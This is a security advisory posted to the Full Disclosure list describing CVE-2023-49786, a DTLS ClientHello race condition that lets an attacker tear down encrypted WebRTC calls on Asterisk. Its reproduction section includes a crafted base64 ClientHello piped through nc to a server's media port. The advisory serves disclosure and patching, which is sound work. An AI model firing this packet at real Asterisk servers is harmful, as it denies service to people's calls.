[prev in list] [next in list] [prev in thread] [next in thread]
List: full-disclosure
Subject: [FD] [ES2023-01] Asterisk susceptible to Denial of Service via DTLS Hello packets during call initia
From: "Sandro Gauci" <sandro () enablesecurity ! com>
Date: 2023-12-15 12:27:06
Message-ID: 0b192078-4f43-4dd1-adbb-215a258ef852 () app ! fastmail ! com
[Download RAW message or body]
# Asterisk susceptible to Denial of Service via DTLS Hello packets during call initiation
- Fixed versions: 18.20.1, 20.5.1, 21.0.1,18.9-cert6
- Enable Security Advisory: \
https://github.com/EnableSecurity/advisories/tree/master/ES2023-01-asterisk-dtls-hello-race
- Vendor Security Advisory: \
https://github.com/asterisk/asterisk/security/advisories/GHSA-hxj9-xwr8-w8pq
- Other references: CVE-2023-49786
- Tested vulnerable versions: 20.1.0
- Timeline:
- Report date: 2023-09-27
- Triaged: 2023-09-27
- Fix provided for testing: 2023-11-09
- Vendor release with fix: 2023-12-14
- Enable Security advisory: 2023-12-15
## TL;DR
When handling DTLS-SRTP for media setup, Asterisk is susceptible to Denial of Service due to a \
race condition in the hello handshake phase of the DTLS protocol. This attack can be done \
continuously, thus denying new DTLS-SRTP encrypted calls during the attack.
## Description
Our research has shown that key establishment for Secure Real-time Transport Protocol (SRTP) \
using Datagram Transport Layer Security Extension (DTLS)[^1] is susceptible to a Denial of \
Service attack due to a race condition. If an attacker manages to send a ClientHello DTLS \
message with an invalid CipherSuite (such as `TLS_NULL_WITH_NULL_NULL`) to the port on the \
Asterisk server that is expecting packets from the caller, a DTLS error is generated. This \
results in the media session being torn down, which is followed by teardown at signaling (SIP) \
level too.
This behavior was tested against Asterisk version 20.1.0, which was found to be vulnerable to \
this issue.
The following sequence diagram shows the normal flow (i.e. no attack) involving SIP, STUN and \
DTLS messages between a UAC (the Caller) and an Asterisk server capable of handling WebRTC \
calls.
Diagram showing a call setup against Asterisk that uses SIP, STUN and DTLS: \
https://github.com/EnableSecurity/advisories/blob/master/ES2023-01-asterisk-dtls-hello-race/resources/valid.png
In a controlled experiment, it was observed that when the Attacker sent a DTLS ClientHello to \
Asterisk's media port from a different IP and port, Asterisk responded by sending a DTLS Alert \
to the Caller. Additionally, Asterisk terminated the SIP call by sending a BYE message to the \
Caller.
Diagram showing a call setup against Asterisk that fails due to an attacker controlled DTLS \
ClientHello: https://github.com/EnableSecurity/advisories/blob/master/ES2023-01-asterisk-dtls-hello-race/resources/dos.png
During a real attack, the attacker would spray a vulnerable Asterisk server with DTLS \
ClientHello messages. The attacker would typically target the range of UDP ports allocated for \
RTP. When the ClientHello message from the Attacker wins the race against an expected \
ClientHello from the Caller, the call terminates, resulting in Denial of Service.
## Impact
Abuse of this vulnerability may lead to a massive Denial of Service on vulnerable Asterisk \
servers for calls that rely on DTLS-SRTP.
## How to reproduce the issue
1. Prepare an Asterisk server with an extension configured to handle WebRTC; this may involve \
the following `pjsip.conf` and `extensions.conf` configuration updates:
`pjsip.conf`
```ini
[transport-tls-nat]
type = transport
protocol = wss
bind = 172.17.0.2
[webrtc_client]
type=aor
max_contacts=5
remove_existing=yes
[webrtc_client]
type=auth
auth_type=userpass
username=3456
password=3456
[3456]
type=endpoint
aors=webrtc_client
auth=webrtc_client
dtls_auto_generate_cert=yes
webrtc=yes
context=default
disallow=all
allow=opus,ulaw
```
`extensions.conf`
```ini
[globals]
[default]
exten = _XXXX,1,Verbose(1, "User ${CALLERID(num)} dialed ${EXTEN}.")
same => n,Playback(demo-congrats)
same => n,Hangup()
```
1. Send an INVITE message to the target server with WebRTC SDP:
```default
INVITE sip:1000@192.168.1.202 SIP/2.0
Via: SIP/2.0/WSS 192.168.1.202:36742;rport=36742;branch=z9hG4bK-4RHtimOzaIkHeUDU
Max-Forwards: 70
From: <sip:3456@192.168.1.202>;tag=cnbsc3nNX2ydugl4
To: <sip:1000@192.168.1.202>
Contact: <sip:3456@192.168.1.202>
Call-ID: VaglTzNRBSuvPPdw
CSeq: 5 INVITE
Content-Type: application/sdp
Content-Length: 563
v=0
o=- 1695296401 1695296401 IN IP4 192.168.1.202
s=-
t=0 0
c=IN IP4 192.168.1.202
m=audio 36866 UDP/TLS/RTP/SAVPF 0 8 101
a=setup:active
a=fingerprint:sha-256 \
49:05:98:B2:15:43:1C:9C:4F:29:07:60:F8:63:77:16:80:F9:44:C0:97:8E:E5:48:D6:71:B4:03:10:85:D6:E3 \
a=rtpmap:0 PCMU/8000/1 a=rtpmap:8 PCMA/8000/1
a=rtpmap:101 telephone-event/8000
a=ice-ufrag:IOZyOSQkVywevryI
a=ice-pwd:UQUtRMZKFERnmZqQdaggFzJBhcWVxabr
a=candidate:6249488300 1 udp 2130706431 192.168.1.202 36866 typ host generation 0
a=end-of-candidates
a=rtcp-mux
a=rtcprsize
a=sendrecv
```
1. Note Asterisk's media port and IP values, which will be used as the `<asterisk-ip>` and \
`<media-port>` parameters by the Attacker 1. When the call has been established, send a STUN \
binding request which has the appropriate Username, Message-Integrity and Ice-Controlled \
properties 1. When the Binding Success Response message is received, send a DTLS ClientHello \
message from a (attacker-controlled) host, which is different from the Caller but has network \
access to the Asterisk server
```bash
CLIENT_HELLO="Fv7/AAAAAAAAAAAAfAEAAHAAAAAAAAAAcP79AAA"
CLIENT_HELLO="${CLIENT_HELLO}AAG4HCVaUNVbYVmxuqdn2WyCgtTijhZ+WheP/+H"
CLIENT_HELLO="${CLIENT_HELLO}4AAAACAAABAABEABcAAP8BAAEAAAoACAAGAB0AF"
CLIENT_HELLO="${CLIENT_HELLO}wAYAAsAAgEAACMAAAANABQAEgQDCAQEAQUDCAUF"
CLIENT_HELLO="${CLIENT_HELLO}AQgGBgECAQAOAAkABgABAAgABwA="
echo -n "${CLIENT_HELLO}" | base64 --decode | nc -u <asterisk-ip> <media-port>
```
1. Observe that the Caller receives a DTLS Alert message and a SIP BYE message on its signaling \
channel
Note that the above steps are used to reliably reproduce the vulnerability. In the case of a \
real attack, the attacker simply has to spray the Asterisk server with DTLS messages.
## Solution and recommendations
To address this vulnerability, upgrade Asterisk to the latest version which includes the \
security fix. The solution implemented is to drop all packets from addresses that have not been \
validated by an ICE check.
## About Enable Security
[Enable Security](https://www.enablesecurity.com) develops offensive security tools and \
provides quality penetration testing to help protect your real-time communications systems \
against attack.
## Disclaimer
The information in the advisory is believed to be accurate at the time of publishing based on \
currently available information. Use of the information constitutes acceptance for use in an AS \
IS condition. There are no warranties with regard to this information. Neither the author nor \
the publisher accepts any liability for any direct, indirect, or consequential loss or damage \
arising from use of, or reliance on, this information.
## Disclosure policy
This report is subject to Enable Security's vulnerability disclosure policy which can be found \
at <https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>.
[^1]: Datagram Transport Layer Security (DTLS) Extension to Establish Keys for the Secure \
Real-time Transport Protocol (SRTP) https://datatracker.ietf.org/doc/html/rfc5764
--
Sandro Gauci, CEO at Enable Security GmbH
Register of Companies: AG Charlottenburg HRB 173016 B
Company HQ: Neuburger Straße 101 b, 94036 Passau, Germany
RTCSec Newsletter: https://www.rtcsec.com/subscribe
Our blog: https://www.rtcsec.com
Other points of contact: https://www.enablesecurity.com/contact/
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic